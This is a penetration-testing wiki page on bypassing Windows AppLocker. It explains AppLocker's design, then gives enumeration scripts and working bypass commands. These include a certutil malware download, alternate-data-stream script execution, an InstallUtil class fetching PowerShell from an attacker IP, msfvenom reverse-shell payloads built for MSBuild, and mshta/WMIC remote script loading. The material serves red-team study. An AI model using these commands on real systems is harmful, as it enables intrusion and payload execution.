Infiltr8: The Red-Book
Infiltr8ForumGitHub
  • The Red-Book
  • Red-Teaming
    • Reconnaissance
      • DNS Enumeration
      • Subdomains enumeration
      • Email Harvesting
      • Host Discovery
      • TCP/UDP Service Scanning
      • Vulnerability Scanning
      • Google Dorks
      • GitHub Recon
      • Files Metadata
      • 🛠️Maltego
      • 🛠️Specialized Search Engines
    • Execution
      • Code & Process Injection
        • Loading .NET Reflective Assembly
        • Loading .NET Assembly from Windows Script Hosting
        • Process Hollowing
        • WndProc Callback Shellcode Execution
        • Fibers Shellcode Execution
        • Vector Exception Handler Shellcode Execution
        • NtQueueApcThread & NtTestAlert Shellcode Execution
        • Thread Pool Callback Shellcode Execution
        • Module Stomping Shellcode Injection
        • Remote .NET Assembly Loading through WaaSRemediation DCOM Abuse
        • 🛠️DLL Injection
        • 🛠️CreateRemoteThread Injection
        • 🛠️Reflective DLL Injection
        • 🛠️NtMapViewOfSection Injection
        • 🛠️SetWindowHookEx Injection
        • 🛠️PoolParty
        • 🛠️MockingJay
      • Code Execution
        • CMSTP
        • MSBuild
        • MSHTA
        • Microsoft Office Execution
        • Windows Script Host (WSH)
        • Outlook Home Page Abuse (Specula)
        • Powershell Without Powershell.exe
        • RegSrv32
        • Scheduled Tasks
        • Services
        • Windows Library Files
        • HTML Help Files
        • WMI
        • Script Exploits
        • 🛠️Sliver
    • Initial Access
      • Network Services
      • Password Attacks
      • Phishing
        • HTML Smuggling
        • Phishing with Calendars (.ICS Files)
        • Phishing With Microsoft Office
          • MS Office - VBA (Macros)
          • MS Office - RTF Files RCE
          • MS Office - Custom XML parts
          • 🛠️MS Office - Excel 4.0 (XLM) Macros
          • 🛠️MS Office - VBA Stomping
          • 🛠️MS Office - Remote Dotm Template Injection
        • 🛠️Phishing via Proxy
          • Adversary in the Middle (AitM) Phishing
            • EvilGoPhish
            • Evilginx
            • Muraena
            • Modlishka
          • Browser in the Middle (BitM) Phishing
            • cuddlephish
            • EvilnoVNC
    • Persistence
      • Active Directory
      • Windows
        • Accessibility features Backdoor
        • AEDebug Keys Persistence
        • Image File Execution Options (IFEO) Persistence
        • Logon Triggered Persistence
        • LSA Persistence
          • Security Support Provider DLLs
          • Authentication Package
        • Natural Language 6 DLLs Persistence
        • Run Keys Persistence
        • Winlogon Persistence
        • WMI Event Subscription Persistence
      • Linux
        • SSH for Persistence
        • GSocket for Persistence
        • 🛠️Udev rules
    • Defense Evasion
      • Endpoint Detection Respons (EDR) Bypass
        • Bring Your Own Vulnerable Driver (BYOVD)
        • Safe Mode With Networking
        • Windows Defender Application Control (WDAC): Killing EDR
        • 🛠️Load Unsigned Drivers
        • 🛠️Minifilter Altitude
        • 🛠️Hypervisor Code Integrity (HVCI) Disallowed Images
        • 🛠️Windows Filtering Platform (WFP)
        • 🛠️Userland Hooking Bypass
      • UAC Bypass
      • AMSI Bypass
      • ETW evasion
      • Living Off The Land
        • Windows Sysinternals
        • LOLBAS Project
        • File Operations
        • File Executions
      • Signature Evasion
      • Obfuscation
        • PowerShell Obfuscation
        • 🛠️Commandline Obfusaction
        • 🛠️PE Obfuscation
        • 🛠️String Encryption
      • AppLocker Bypass
      • Mark-of-the-Web (MotW) Bypass
      • 🛠️PowerShell Constrained Language Mode (CLM) Bypass
      • 🛠️Kill Windows Defender
      • 🛠️Virtualization-based security (VBS) Bypass
        • 🛠️Credential Guard bypass
        • 🛠️hypervisor-protected code integrity (HVCI) Bypass
        • 🛠️Windows Defender Application Control (WDAC) Bypass
      • 🛠️Sandbox Evasion
    • Discovery
      • Active Directory
      • Windows
        • System Information
        • Processes & Services
        • Scheduled Tasks
        • Installed applications
        • Network Configuration
        • FIle/Folder ACLs
        • Knowing your Shell
        • Security Solutions
      • Linux
        • OS Details
        • 🛠️Process & Services
    • Privilege Escalation
      • Windows
        • Tools ⚙️
        • PowerShell Logging
        • Credentials In Files
        • Abusing Tokens
        • Insecure Services
          • Weak Service Permissions
          • Weak File/Folder Permissions
          • Weak Registry Permissions
          • Unquoted Service Path
        • AlwaysInstallElevated
        • AutoLogon Registry
        • Insecure Scheduled Tasks
          • Weak File/Folder Permissions
        • 🛠️DLL Hijacking
      • Linux
        • Kernel Exploits
          • OverlayFs Exploits
            • GameOverlayFs
            • CVE-2023-0386
            • CVE-2021-3493
          • CVE-2023-32233 (CAP_NET_ADMIN)
          • Dirty Pipe
          • 🛠️DirtyCow
          • 🛠️RDS
          • 🛠️Full Nelson
          • 🛠️Mempodipper
        • GLIBC Exploits
          • Looney Tunables
        • Polkit Exploits
          • PwnKit
          • D-Bus Authentication Bypass
        • Sudo Exploits
          • Sudo Binaries
          • Sudo Misconfigurations
          • Reuse Sudo Tokens
          • User Restriction Bypass
          • Pwfeedback BOF
          • Baron Samedit
          • Sudoedit Bypass
        • SUID Binaries
        • Script Exploits
          • Python
            • Pip Download Code Execution
            • PyInstaller Code Execution
            • Pytorch Models/PTH Files Code Execution
          • Ruby
          • Bash
          • Perl
        • Scheduled tasks
          • Cron Jobs
          • Systemd timers
        • Interesting Groups
          • Lxd
        • Capabilities
        • NFS no_root_squash/no_all_squash
        • Linux Active Directory
    • Credential Access
      • Password Stores
        • Windows Credential Manager
        • KeePass
        • Web Browsers
      • Unsecured Credentials
        • Credentials In Files
        • VNC Config
        • SSH Private Keys
        • Git Repositories
        • Veeam Backup
        • Network shares
        • Network protocols
      • OS Credentials
        • Windows & Active Directory
          • SAM & LSA secrets
          • DPAPI secrets
          • NTDS secrets
          • LSASS secrets
          • DCSync
          • Kerberos key list
          • Group Policy Preferences
          • AutoLogon Registry
          • In-memory secrets
          • Cached Kerberos tickets
        • Linux
          • Shadow File
          • In-memory secrets
          • Linux Cached Kerberos tickets
      • MITM and coerced auths
      • Password Attacks
        • Default, weak & Leaked Passwords
        • Generate Wordlists
        • Brute-Force
          • Online - Attacking Services
          • Offline - Password Cracking
      • Impersonation
    • Lateral Movement
      • Port Forwarding
      • TLS Tunneling (Ligolo-ng)
      • HTTP(s) Tunneling
      • SSH Tunneling
      • DNS Tunneling
      • SMB-based
      • WinRM
      • Remote WMI
      • DCOM
      • Scheduled Tasks (ATSVC)
      • Services (SVCCTL)
    • Exfiltration
      • Exfiltration over ICMP
      • Exfiltration Over DNS
      • Exfiltration Over HTTP(s)
      • Exfiltration Over SMB
  • Web Pentesting
    • Reconnaissance
      • Subdomains enumeration
      • WAF Enumeration
    • Infrastructures
      • DBMS
        • Enum Databases
        • Read/Write/Execute
      • DNS
        • Subdomain Takeover
      • Web Servers
        • Nginx
        • Apache
          • Apache Commons Text
          • Apache Tomcat
      • CMS
        • Wordpress
        • 🛠️Joomla
        • 🛠️Drupal
        • 🛠️Bolt CMS
      • Frameworks
        • Spring Framework
          • Spring Routing Abuse
          • Spring Boot Actuators
          • Spring View Manipulation
        • Werkzeug
        • 🛠️Django
        • 🛠️Flask
        • 🛠️Laravel
      • CGI
    • Web Vulnerabilities
      • Server-Side
        • NoSQL Injection
        • SQL Injection
          • UNION Attacks
          • Blind Attacks
            • Boolean Based
            • Time Based
            • Error Based
        • Insecure Deserialization
          • .NET Deserialization
          • Python Deserialization
          • PHP Deserialization
          • 🛠️Java Deserialization
          • 🛠️Ruby Deserialization
        • File Inclusion & Path Traversal
          • LFI to RCE
            • PHP Wrappers
            • Logs Poisoning
            • /proc
            • PHPInfo
            • PHP Sessions
            • Segmentation Fault
          • RFI to RCE
        • Command Injection
        • Brute-Force
        • SSTI (Server-Side Template Injection)
        • Exposed Git Repositories
        • 🛠️File Upload
      • Client-Side
        • XSS (Cross-Site Scripting)
        • CORS (Cross-origin resource sharing)
  • Network Pentesting
    • Network services
      • DNS
      • FastCGI
      • HTTP & HTTPS
      • LDAP
      • NFS
      • MS-RPC
      • MSSQL
      • NBT-NS (NetBIOS)
      • Oracle TNS
      • RDP
      • Rsync
      • SMB
      • SMTP
      • SNMP
      • SSH
      • WebDAV
      • WinRM
      • XMPP/Jabber
      • 🛠️RPC Port Mapper
      • 🛠️FTP
      • 🛠️Telnet
      • 🛠️MySQL
    • WiFi
      • 🛠️WEP
      • 🛠️WPA2
      • 🛠️WPS
    • Bluetooth
  • Active Directory Pentesting
    • Reconnaissance
      • Tools ⚙️
        • PowerView ⚙️
        • Responder ⚙️
        • BloodHound ⚙️
        • enum4linux ⚙️
      • Network
        • DHCP
        • DNS
        • NBT-NS
        • Port scanning
        • SMB
        • LDAP
        • MS-RPC
      • Objects & Settings
        • DACLs
        • Group policies
        • Password policy
        • LAPS
    • Movement
      • Credentials
        • Dumping
        • Cracking
        • Bruteforcing
          • Guessing
          • Spraying
          • Stuffing
        • Shuffling
      • MITM and coerced auths
        • ARP poisoning
        • DNS spoofing
        • DHCP poisoning
        • DHCPv6 spoofing
        • WSUS spoofing
        • LLMNR, NBT-NS, mDNS spoofing
        • ADIDNS poisoning
        • WPAD spoofing
        • MS-EFSR abuse (PetitPotam)
        • MS-RPRN abuse (PrinterBug)
        • MS-FSRVP abuse (ShadowCoerce)
        • MS-DFSNM abuse (DFSCoerce)
        • MS-EVEN abuse (CheeseOunce)
        • PushSubscription abuse
        • WebClient abuse (WebDAV)
        • Living off the land
        • 🛠️NBT Name Overwrite
        • 🛠️ICMP Redirect
      • NTLM
        • Capture
        • Relay
        • Pass the hash
      • Kerberos
        • Pre-auth bruteforce
        • Pass the key
        • Overpass the hash
        • Pass the ticket
        • Pass the cache
        • Forged tickets
          • Silver tickets
          • Golden tickets
          • Diamond tickets
          • Sapphire tickets
          • RODC Golden tickets
          • MS14-068
        • ASREQroast
        • ASREProast
        • Kerberoast
        • Delegations
          • (KUD) Unconstrained
          • (KCD) Constrained
          • (RBCD) Resource-based constrained
          • S4U2self abuse
          • Bronze Bit
        • Shadow Credentials
        • UnPAC the hash
        • Pass the Certificate - PKINIT
        • sAMAccountName spoofing
        • SPN-jacking
      • Netlogon
        • ZeroLogon
      • DACL abuse
        • AddMember
        • ForceChangePassword
        • Targeted Kerberoasting
        • WriteOwner
        • ReadLAPSPassword
        • ReadGMSAPassword
        • Grant ownership
        • Grant rights
        • Logon script
        • Rights on RODC object
      • Group policies
      • Trusts
      • Certificate Services (AD-CS)
        • Certificate templates
        • Certificate authority
        • Access controls
        • Unsigned endpoints
        • Certifried
      • Schannel
        • Pass the Certificate - Schannel
      • SCCM / MECM
        • Privilege Escalation
        • Post Exploitation
      • Exchange services
        • PrivExchange
        • ProxyLogon
        • ProxyShell
        • ProxyNotShell
      • Print Spooler Service
        • PrinterBug
        • PrintNightmare
      • Built-ins & settings
        • Builtin Groups
          • DNSAdmins
          • AD Recycle Bin
        • MachineAccountQuota
        • Pre-Windows 2000 computers
        • RODC
    • Persistence
      • Skeleton key
      • SID History
      • AdminSDHolder
      • GoldenGMSA
      • Kerberos
        • Forged tickets
        • Delegation to KRBTGT
      • Certificate Services (AD-CS)
        • Certificate authority
        • Access controls
        • Golden certificate
      • LAPS
      • 🛠️DC Shadow
      • 🛠️Access controls
  • 🛠️Cloud & CI/CD Pentesting
    • CI/CD
      • Ansible Pentesting
      • Artifactory Pentesting
      • Docker Registry
        • 🛠️HTTP API V2
      • 🛠️Kubernetes
      • 🛠️GitLab
      • 🛠️Github
      • 🛠️Gitea
      • 🛠️Jenkins
      • 🛠️Terraform
    • Azure Pentesting
      • Reconnaissance
        • Tools ⚙️
        • Unauthenticated Reconnaissance
        • Internal Reconnaissance
      • Movement
        • Credentials
          • Password Spraying
          • Token Manipulation
            • Pass-The-Cookie (PTC)
            • Pass the Certificate (Azure)
            • Pass the PRT
        • Aazure Resources
          • Key Vault
          • Storage Accounts
          • Virtual Machines
          • Automation
          • Databases
        • Role-Based Access
        • Conditional Access
        • Service Principals & Applications
        • Hybrid Identity
          • Password Hash Sync (PHS)
          • Pass-through Authentication (PTA)
          • Active Directory Federation Services (ADFS)
          • Seamless SSO
          • Cloud Kerberos Trust
        • Cross-Tenant Access
      • Persistence
    • GCP Pentesting
    • AWS Pentesting
  • 🛠️Smart Contracts Pentesting
    • Solidity
      • Vulnerabilities
        • Delegatecall Attack
        • Denial of Service Attack
        • Overflow & Underflow
        • Reentrancy Attack
        • Self Destruct Attack
        • Tx Origin Attack
Powered by GitBook
On this page
  • Theory
  • Practice
  • Enumeration
  • Writable and Executable Whitelisted Folders
  • Alternate Data Stream
  • Living Off The Land Binaries
  • Bypass Using PowerShell
  • Third Party Scripting Interpreter
  • Resources

Was this helpful?

Edit on GitHub
  1. Red-Teaming
  2. Defense Evasion

AppLocker Bypass

Last updated 1 month ago

Was this helpful?

Theory

is a security feature introduced in Windows 7 Enterprise and later versions, providing a robust application whitelisting solution to control executable, script, and installer file execution. It aims to replace older by adding enhanced control and a kernel-level enforcement mechanism.

Although AppLocker is gradually being replaced by , Formerly known as Device Guard, it remains a popular solution for enterprises due to ease of configuration and deployment.

WDAC relies on and which are only available in Windows 10, Windows 11, and Windows Server 2016 and later

AppLocker consists of two core components:

  • The kernel-mode driver (APPID.SYS):

    • This kernel-level driver provides the foundational enforcement for AppLocker policies by handling process creation blocking through a Process Notification Callback (). This callback intercepts attempts to execute files and forwards information to AppLocker policies.

    • Additionally, APPID.SYS assists in applying broader application control functions, distinguishing it from SRP, which operates entirely in user mode.

  • The user-mode service (AppIDSvc):

    • The AppIDSvc service primarily functions as a policy manager, responsible for administrating the whitelist ruleset and performing tasks that are impractical to handle at the kernel level, such as comprehensive code signature verification.

    • The AppIDSvc interacts with the APPID.SYS driver via Remote Procedure Calls (RPC) to verify digital signatures and validate applications against AppLocker policies.

Practice

This section delves into practical bypass methods, exploring weaknesses in AppLocker’s implementation and configuration. It covers techniques ranging from exploiting policy misconfigurations, abusing trusted applications (living-off-the-land binaries, or LOLBins), manipulating file path rules, and leveraging signature-based bypasses.

Enumeration

Enumeration is the crucial initial step, providing insight into the specific rules, policies, and whitelisting configurations that AppLocker enforces. By gathering this information, it becomes possible to determine which executables, paths, scripts, and DLLs are allowed or restricted, enabling a strategic approach to potential bypass techniques.

The following commands can be used to check whether any AppLocker rules are being enforced.

Get-AppLockerPolicy -Effective -Xml
(Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2 -Recurse
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Get-AppLockerPolicy -Effective | Test-AppLockerPolicy -Path C:\Path\To\Test\procexp.exe -User UserToTest

Writable and Executable Whitelisted Folders

The default rules for AppLocker automatically whitelist all executables and scripts located in the following directories: C:\Program Files, C:\Program Files (x86), and C:\Windows.

If we discover a folder within these directories that is both writable and executable, we can exploit it to bypass AppLocker policies.

The following folders are by default writable by normal users (depends on Windows version - This is from W10 1803) and may be whitelisted by AppLocker.

C:\Windows\Tasks 
C:\Windows\Temp 
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System

Manual Recon

# w: find writable dir
# u: suppress errors
# s: recursive
accesschk.exe "<USERNAME>" C:\Windows -wus

If a folder is writable (e.g., C:\Windows\Tasks), you can verify execution permissions using icacls:

# Example
icacls.exe C:\Windows\Tasks

Automated Recon

The following PowerShell script automates the process of identifying writable and executable folders:

$tools = "C:\SysinternalsSuite"

C:\SysinternalsSuite\accesschk.exe "<USERNAME>" C:\Windows -wus -accepteula | out-file -FilePath C:/users/<USER>/Desktop/permissions.txt

foreach($line in Get-Content  C:/users/<USER>/Desktop/permissions.txt) {
    if($line.StartsWith("RW") -or $line.StartsWith("W"))
    {
    $line.Substring(3) | out-file -FilePath  C:/users/<USER>/Desktop/files.txt -Append
    }
}

foreach($file_path in Get-Content C:/users/<USER>/Desktop/files.txt){
if(Test-Path -Path $file_path -PathType Container)
    {
        cd $tools
        icacls.exe $file_path | out-file -FilePath C:/users/<USER>/Desktop/folder-permissions.txt -Append
    }
}

Or this script will do the same thing, enumerating where standard users can both write and execute, without relying on the accesschk.exe binary.

Get-ChildItem $env:windir -Directory -Recurse -ErrorAction SilentlyContinue | ForEach-Object {
    $dir = $_;
    $ErrorActionPreference = "SilentlyContinue";
    (Get-Acl $dir.FullName).Access | ForEach-Object {
        if ($_.AccessControlType -eq "Allow") {
            if ($_.IdentityReference.Value -eq "NT AUTHORITY\Authenticated Users" -or $_.IdentityReference.Value -eq "BUILTIN\Users") {
                if (($_.FileSystemRights -like "*Write*" -or $_.FileSystemRights -like "*Create*") -and $_.FileSystemRights -like "*Execute*") {
                    Write-Host ($dir.FullName + ": " + $_.IdentityReference.Value + " (" + $_.FileSystemRights + ")");
                }
            }
        }
    };
}

If we discover a folder that is both writable and executable and has been whitelisted by AppLocker (e.g C:\Windows\Tasks), we can exploit it by downloading and executing a malicious binary. Here's how this can be achieved:

# Download
certutil.exe -urlcache -split -f http://evil/malware.exe C:\Windows\Tasks\malware.exe

# Execute
C:\Windows\Tasks\malware.exe

Alternate Data Stream

Like for folders, we may find a file in a trusted location that is both writable and executable as follows:

Manual Recon

# w: writable 
# u: suppress errors
# s: recursive
accesschk.exe "<USERNAME>" C:\Windows -wus

If a file is writable (e.g. C:\Program Files (x86)\App\Random_log.log), you can verify execution permissions using icacls:

# Example
icacls.exe "C:\Program Files (x86)\App\Random_log.log"

Automated Recon

The following PowerShell script automates the process of identifying writable and executable files:

$tools = "C:\SysinternalsSuite"

C:\SysinternalsSuite\accesschk.exe "<USERNAME>" C:\Windows -wus -accepteula | out-file -FilePath C:/users/<USER>/Desktop/permissions.txt

foreach($line in Get-Content  C:/users/<USER>/Desktop/permissions.txt) {
    if($line.StartsWith("RW") -or $line.StartsWith("W"))
    {
    $line.Substring(3) | out-file -FilePath  C:/users/<USER>/Desktop/files.txt -Append
    }
}

foreach($file_path in Get-Content C:/users/<USER>/Desktop/files.txt){
if(Test-Path -Path $file_path -PathType Container)
    {
        cd $tools
        icacls.exe $file_path | out-file -FilePath C:/users/<USER>/Desktop/folder-permissions.txt -Append
    }
}

If we discover a file that is both writable and executable and has been whitelisted by AppLocker (e.g C:\Program Files (x86)\App\Random_log.log), we can exploit it by leveraging Alternate Data Streams (ADS) to append and execute a malicious payload. Here's how this can be done step by step:

Create a malicious javascript file (e.g. evil.js)

evil.js
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("calc.exe");

Create an alternate data stream to the file

type evil.js > "C:\Program Files (x86)\App\Random_log.log:evil"

Execute the malicious javascript code

wscript "C:\Program Files (x86)\App\Random_log.log:evil"

Living Off The Land Binaries

The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies. We can abuse it to execute arbitrary C# code and bypass AppLocker.

First, compile the following code into Visual Studio.

Bypass.cs
// code from https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/applocker-bypass
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace BypassCLM
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Welcome !");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            string cmd = "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKING-IP>/run.txt')";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}

Add a reference for the System.Management.Automation assembly before compilation from path:

C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35

We can then execute code and bypass application whitelisting as follows:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Users\v4resk\Bypass.exe

We may generate a malicious .csproj file from a raw shellcode or a powershell script.

# Malicious .csproj from powershell script
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4443 -f psh-reflection > liv0ff.ps1
python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj

# Malicious .csproj from raw shellcode
v4resk@kali$ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4443 -f raw > shellcode.raw
v4resk@kali$ python2 PowerLessShell.py -source shellcode.raw -output liv0ff.csproj

After writing the .csproj file on the target, we can run it as follows

#Execute it on the target with MSBuild.exe
C:\Users\victime> c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\liv0ff.csproj

Since mshta.exe is located in C:\Windows\System32 and is a signed Microsoft application, it is often whitelisted by default on AppLocker or WDAC.

This trusted status makes mshta.exe a prime candidate to execute malicious JScript or VBScript code, bypassing application control restrictions.

evil.hta
<html> 
<head> 
<script language="JScript">
<!--- PASTE JSCRIPT PAYLOAD BELOW --->
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe");
<!--- PASTE JSCRIPT ABOVE--->
</script>
</head> 
<body>
<script language="JScript">
self.close();
</script>
</body> 
</html>

The above code can be executed from a local or remote location

mshta.exe \users\v4resk\evil.hta
mshta.exe http://<ATTACKING_IP>/evil.hta

The WMI command-line (WMIC) utility provides a command-line interface for WMI. It can be leveraged to executes JScript or VBScript embedded in a remote or local XSL stylsheet while bypassing AppLocker.

evil.xsl
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">

<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
		<![CDATA[
			var r = new ActiveXObject("WScript.Shell");
			r.Run("cmd.exe");
		]]>
	</ms:script>
</stylesheet>

The above code can be executed from a local or remote location.

wmic process get brief /format:"http://192.168.0.1/evil.xsl"
wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\evil.xsl"
evil.txt
using System;
using System.Diagnostics;
using System.Workflow.ComponentModel;
public class Run : Activity{
    public Run() {
	    Process process = new Process();
            // Configure the process using the StartInfo properties.
            process.StartInfo.FileName = "powershell.exe";
            process.StartInfo.Arguments = "powershell.exe -enc <ENCODED PS Payload>";
            process.StartInfo.WindowStyle = ProcessWindowStyle.Normal;
            process.Start();
            process.WaitForExit();
            Console.WriteLine("I executed!");
    }
}

Using the above code, saved as a text file, and commande belows, we can create a correctly-serialized XML file, and run our C# code using Microsoft.Workflow.Compiler.exe:

$workflowexe = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe"
$workflowasm = [Reflection.Assembly]::LoadFrom($workflowexe)
$SerializeInputToWrapper = [Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper', [Reflection.BindingFlags] 'NonPublic, Static')
Add-Type -Path 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Workflow.ComponentModel.dll'
$compilerparam = New-Object -TypeName Workflow.ComponentModel.Compiler.WorkflowCompilerParameters
$compilerparam.GenerateInMemory = $True
$pathvar = "C:\Users\Rick.Sanchez\evil.txt"
$output = "C:\Users\Rick.Sanchez\run.xml"
$tmp = $SerializeInputToWrapper.Invoke($null, @([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters] $compilerparam, [String[]] @(,$pathvar)))
Move-Item $tmp $output

$Acl = Get-ACL $output;$AccessRule= New-Object System.Security.AccessControl.FileSystemAccessRule("YOUR_USER","FullControl","none","none","Allow");$Acl.AddAccessRule($AccessRule);Set-Acl $output $Acl

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe C:\Users\Rick.Sanchez\run.xml C:\Users\Rick.Sanchez\results.xml

Bypass Using PowerShell

When AppLocker (or Windows Defender Application Control, WDAC) enforces script whitelisting rules, ConstrainedLanguage Mode (CLM) is automatically enabled in PowerShell. This security feature, introduced by Microsoft in PowerShell version 3.0, is designed to restrict the capabilities of PowerShell scripts and reduce the risk of abuse by attackers.

Third Party Scripting Interpreter

AppLocker enforces rules only against native Windows executable file types, such as .exe, .dll, .bat, .cmd, .vbs, and .ps1. However, if third-party scripting engines like Python, Perl, or Ruby are installed on the system, they can serve as unexpected vectors to bypass application whitelisting with minimal effort.

Resources

To determine whether a specific file could be executed without actually running it, we can use the PowerShell cmdlet as follows:

You can recursively check for writable permissions on the C:\Windows folder using Sysinternals' :

An is a feature of the NTFS file system that allows files to store additional data streams as metadata. This functionality can be exploited to hide or append binary data (like scripts or executables) to existing files without affecting their primary content. We can leverage this to bypass AppLocker or other application control mechanisms by hiding and executing malicious scripts or binaries in trusted locations.

You can recursively check for writable permissions on the C:\Windows folder using Sysinternals' :

Leveraging , we can build and execute a C# project stored in the target csproj file.

We can automate this process using , a Python-based tool that leverage MSBuild.exe to remotely execute PowerShell scripts and commands without spawning powershell.exe.

is an utility included with .NET that is capable of compiling and executing C# or VB.net code. It can be leveraged to compile and execute C# or VB.net code in a XOML file referenced in the .txt file to bypass AppLocker.

Test-AppLockerPolicy
AccessChk
Alternate Data Stream (ADS)
AccessChk
MSBuild
PowerLessShell
Microsoft.Workflow.Compiler.exe
🛠️PowerShell Constrained Language Mode (CLM) Bypass
AppLocker
Software Restriction Policies (SRP)
Windows Defender Application Control (WDAC)
virtualization-based security (VBS)
HyperVisor Code Integrity (HVCI)
PsSetCreateProcessNotifyRoutineEx
The Internals of AppLocker - Part 1 - Overview and Setup
AppLocker BypassPentester's Promiscuous Notebook
Logo
AppLocker BypassAJ-Labz
GitHub - api0cradle/UltimateAppLockerByPassList: The goal of this repository is to document the most common techniques to bypass AppLocker.GitHub
AppLocker Bypass – Windows Privilege EscalationJuggernaut Pentesting Blog - A blog to help others achieve their goals in Cyber Security.
Logo
Logo
Logo
Logo
https://www.tiraniddo.dev/2019/11/the-internals-of-applocker-part-1.html